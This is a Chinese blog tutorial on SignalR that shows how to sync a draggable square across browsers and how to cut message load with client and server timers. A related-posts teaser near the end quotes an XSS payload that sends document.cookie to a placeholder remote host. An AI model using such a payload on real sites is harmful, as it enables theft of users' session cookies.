SignalR学习笔记(二)高并发应用
虽然SignalR借助Websocket提供了很强大的实时通讯能力,但是在有些实时通讯非常频繁的场景之下,如果使用不当,还是会导致服务器,甚至客户端浏览器崩溃。
以下是一个实时拖拽方块项目的优化过程
项目的需求如下
- 在网页中显示一个红色的可拖拽方块
- 一个用户拖拽该方块,该方块在其他用户客户端浏览器中的位置也会相应改变
创建项目
使用VS创建一个空的Web项目
引入SignalR库及jQuery UI库
打开Package Manage Console面板
运行一下2个命令
Install-package Microsoft.AspNet.SignalR
Install-package jQuery.UI.Combined
安装完成之后,解决方案结构如下
添加Owin启动类,启用SignalR
和学习笔记(一)中的步骤一样,添加一个Owin Startup Class, 命名为Startup.cs, 并在Configuration启用SignalR
using Microsoft.Owin; using Owin; [assembly: OwinStartup(typeof(MoveShape.Startup))] namespace MoveShape { public class Startup { public void Configuration(IAppBuilder app) { app.MapSignalR(); } } }
添加Position类
这里我们需要一个新建一个类来传递方法的位置信息
using Newtonsoft.Json; namespace MoveShape { public class Position { [JsonProperty("left")] public double Left { get; set; } [JsonProperty("top")] public double Top { get; set; } [JsonProperty("lastUpdatedBy")] public string LastUpdatedBy { get; set; } } }
添加MoveShapeHub
我们需要创建一个Hub来传递当前方块的位置信息
using Microsoft.AspNet.SignalR; namespace MoveShape { public class MoveShapeHub : Hub { public void MovePosition(Position model) { model.LastUpdatedBy = Context.ConnectionId; Clients.AllExcept(Context.ConnectionId).updatePosition(model); } } }
当前用户在移动方块,除了当前用户之外的其他用户都需要更新方块位置,所以这里使用了
Clients.AllExcept方法,将当前用户从排除列表里面去除掉。
在SignalR学习笔记(一)中有说道,当用户客户端与Hub连接成功之后,Hub会分配一个全局唯一的ConnectionId给当前用户客户端,所以Context中的ConnectionId即表示当前用户。
Clients对象提供的所有筛选客户端方法如下
- Client.All – 向所有和Hub连接成功的客户端发送消息
- Client.AllExcept – 向除了指定客户端外的用户客户端发送消息
- Client.Client – 向指定的一个客户端发送消息
- Client.Clients – 向指定的多个客户端发送消息
添加前台页面
前台页面是用jQuery UI的Draggable功能实现拖拽,在Drag事件里可以获取到当前方块的位置,所以在这里我们可以将位置发送到MoveShapeHub中
<!DOCTYPE html> <html> <head> <title>SignalR MoveShape Demo</title> <style> #shape { width: 100px; height: 100px; background-color: #FF0000; } </style> </head> <body> <script src="Scripts/jquery-1.12.4.min.js"></script> <script src="Scripts/jquery-ui-1.12.1.min.js"></script> <script src="Scripts/jquery.signalR-2.2.0.js"></script> <script src="/signalr/hubs"></script> <script> $(function () { //创建Hub代理 var moveShapeHub = $.connection.moveShapeHub, $shape = $("#shape"), shapeModel = { left: 0, top: 0 }; //客户端接受到位置变动消息,执行的方法 moveShapeHub.client.updatePosition = function (model) { shapeModel = model; $shape.css({ left: model.left, top: model.top }); }; $.connection.hub.start().done(function () { $shape.draggable({ drag: function () { shapeModel = $shape.offset(); //当发生拖拽的之后,把方块当前位置发送到Hub moveShapeHub.server.movePosition(shapeModel); } }); }); }); </script> <div id="shape" /> </body> </html>
当前效果
分别在2个浏览器中启动MoveShape.html, 模拟2个用户同时访问的情况
效率问题
下面我们在Drag事件里面添加日志代码
Console.log($shape.offset())
然后刷新页面,打开Chrome的开发者工具的console面板,然后移动方块,你会发现每做一次微小的移动,代码都会执行一次。
也就是说移动一个微小的距离,SignalR的Hub中的MovePosition方法都会执行一边,所有观看这个页面的用户都会执行一次UpdatePosition方法来同步位置,在用户比较少的情况下可能问题还不大,但是一旦用户数量增多,这个就是一个极大的性能黑洞。
如何改善效率
对于如何改善效率,我们可以分别从客户端和服务器端入手
客户端
在客户端,我们可以添加一个定时器,每隔一个时间间隔,向服务器更新一次方块的位置,这样更新位置的请求数量就大幅减少了
<!DOCTYPE html> <html> <head> <title>SignalR MoveShape Demo</title> <style> #shape { width: 100px; height: 100px; background-color: #FF0000; } </style> </head> <body> <script src="Scripts/jquery-1.12.4.min.js"></script> <script src="Scripts/jquery-ui-1.12.1.min.js"></script> <script src="Scripts/jquery.signalR-2.2.2.js"></script> <script src="/signalr/hubs"></script> <script> $(function () { //创建Hub代理 var moveShapeHub = $.connection.moveShapeHub, $shape = $("#shape"), //每200毫秒,向服务器同步一次位置 interval = 200, //方块是否在移动 moved = false, shapeModel = { left: 0, top: 0 }; //客户端接受到位置变动消息,执行的方法 moveShapeHub.client.updatePosition = function (model) { shapeModel = model; $shape.css({ left: model.left, top: model.top }); }; $.connection.hub.start().done(function () { $shape.draggable({ drag: function () { shapeModel = $shape.offset(); moved = true; } }); //添加定时器, 每个200毫秒, 向服务器同步一次位置 setInterval(updateServerModel, interval); }); function updateServerModel() { if (moved) { console.log($shape.offset()); moveShapeHub.server.movePosition(shapeModel); //同步完毕之后, 设置moved标志为false moved = false; } } }); </script> <div id="shape" /> </body> </html>
服务器端
服务器端,可以采取和客户端差不多的思路,加入一个定时器,减少同步方块位置的次数。
using Microsoft.AspNet.SignalR; using System; using System.Threading; namespace MoveShape { public class Broadcaster { private readonly static Lazy<Broadcaster> _instance = new Lazy<Broadcaster>(() => new Broadcaster()); //每隔40毫秒,执行一次同步操作 private readonly TimeSpan BroadcastInterval = TimeSpan.FromMilliseconds(40); private readonly IHubContext _hubContext; private Timer _broadcastLoop; private Position _model; private bool _modelUpdated; public Broadcaster() { _hubContext = GlobalHost.ConnectionManager.GetHubContext<MoveShapeHub>(); _model = new Position(); _modelUpdated = false; //添加定时器,每隔一个时间间隔,执行一次同步位置方法 _broadcastLoop = new Timer( BroadcastShape, null, BroadcastInterval, BroadcastInterval); } public void BroadcastShape(object state) { if (_modelUpdated) { _hubContext.Clients.AllExcept(_model.LastUpdatedBy).updatePosition(_model); _modelUpdated = false; } } public void UpdatePosition(Position position) { _model = position; _modelUpdated = true; } public static Broadcaster Instance { get { return _instance.Value; } } } public class MoveShapeHub : Hub { private Broadcaster _broadcaster; public MoveShapeHub() : this(Broadcaster.Instance) { } public MoveShapeHub(Broadcaster broadcaster) { _broadcaster = broadcaster; } public void UpdateModel(Position position) { position.LastUpdatedBy = Context.ConnectionId; // Update the shape model within our broadcaster _broadcaster.UpdatePosition(position); } } }
位置更新不连续
由于加入定时器,导致方块位置更新不连续,界面上看起来方块的移动是断断续续的。
这里的解决方案是,在客户端可以使用jQuery的animate方法,填补方块移动不连续的部分
moveShapeHub.client.updatePosition = function (model) { shapeModel = model; $shape.animate(shapeModel, { duration: 200, queue: false }); };
SignalR学习笔记(二)高并发应用的更多相关文章
- spring cloud(学习笔记)高可用注册中心(Eureka)的实现(二)
绪论 前几天我用一种方式实现了spring cloud的高可用,达到两个注册中心,详情见spring cloud(学习笔记)高可用注册中心(Eureka)的实现(一),今天我意外发现,注册中心可以无限 ...
- JDBC学习笔记二
JDBC学习笔记二 4.execute()方法执行SQL语句 execute几乎可以执行任何SQL语句,当execute执行过SQL语句之后会返回一个布尔类型的值,代表是否返回了ResultSet对象 ...
- [Firefly引擎][学习笔记二][已完结]卡牌游戏开发模型的设计
源地址:http://bbs.9miao.com/thread-44603-1-1.html 在此补充一下Socket的验证机制:socket登陆验证.会采用session会话超时的机制做心跳接口验证 ...
- muduo学习笔记(二)Reactor关键结构
目录 muduo学习笔记(二)Reactor关键结构 Reactor简述 什么是Reactor Reactor模型的优缺点 poll简述 poll使用样例 muduo Reactor关键结构 Chan ...
- tensorflow学习笔记二:入门基础 好教程 可用
http://www.cnblogs.com/denny402/p/5852083.html tensorflow学习笔记二:入门基础 TensorFlow用张量这种数据结构来表示所有的数据.用一 ...
- Java IO学习笔记二:DirectByteBuffer与HeapByteBuffer
作者:Grey 原文地址:Java IO学习笔记二:DirectByteBuffer与HeapByteBuffer ByteBuffer.allocate()与ByteBuffer.allocateD ...
- 纯JS实现KeyboardNav(学习笔记)二
纯JS实现KeyboardNav(学习笔记)二 这篇博客只是自己的学习笔记,供日后复习所用,没有经过精心排版,也没有按逻辑编写 这篇主要是添加css,优化js编写逻辑和代码排版 GitHub项目源码 ...
- WPF的Binding学习笔记(二)
原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...
- AJax 学习笔记二(onreadystatechange的作用)
AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...
随机推荐
- HDU 6437 Problem L.Videos (最大费用)【费用流】
<题目链接> 题目大意: 一天有N个小时,有m个节目(每种节目都有类型),有k个人,连续看相同类型的节目会扣w快乐值.每一种节目有都一个播放区间[l,r].每个人同一时间只能看一个节目,看 ...
- xss 加载远程第三方JS
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...
- Shell脚本学习 - 基本内容以及数据格式
为了捞取日志,自己用python写了一些东西,大致套路就是读取写入文件的操作,放到linux上跑.实际使用时发现要操作的文件有时比较大,直接打开文件找需要的东西可能会有一些效率问题.所以学习一下she ...
- Mac安装sqlite3
1,下载最新版本的 Mac OS X 会预安装 SQLite,但是如果没有可用的安装,只需按照如下步骤进行: 去安装最新的3.8.6版本,和linux的sqlite3安装版本是同一个. 软件地址为:h ...
- centos6.5使用LVM
1.添加硬盘 centos6以前的版本用kudzu来不重启识别新硬件. [root@xen01 ~]# /etc/init.d/kudzu start -bash: /etc/init.d/kudzu ...
- Y1吐槽002 情绪
看了石原里美的<高岭之花>,虽然全程基本都是看不懂的,但是风间直人对喜怒哀乐里面的怒和哀的分析还是深有感触. 悲哀的人心里有爱 愤怒的人心里有恨,一个人装了太多的恨的话,别人是拯救不了的: ...
- thrift小试--C++
[转自]http://blog.csdn.net/poechant/article/details/6618284# Thrift可以实现C++.Java.Python等多种语言的自动生成,此处以C+ ...
- Python数据科学手册
Python数据科学手册(高清版)PDF 百度网盘 链接:https://pan.baidu.com/s/1KurSdjNWiwMac3o3iLrzBg 提取码:qogy 复制这段内容后打开百度网盘手 ...
- 在Linux上搭建测试环境常用命令(转自-测试小柚子)
一.搭建测试环境: 二.查看应用日志: (1)vivi/vim 原本是指修改文件,同时可以使用vi 日志文件名,打开日志文件(2)lessless命令是查看日志最常用的命令.用法:less 日志文件名 ...
- ionic4 开发企业微信应用0
作为一个后台开发人员,几年前参与过Ionic1开发过一微信公众号的经历,所以这次开发企业微信应用,就使用了ionic,正好ionic4 rc版本发布,虽然不是正式版,作为本项目的项目经理,还是决定使用 ...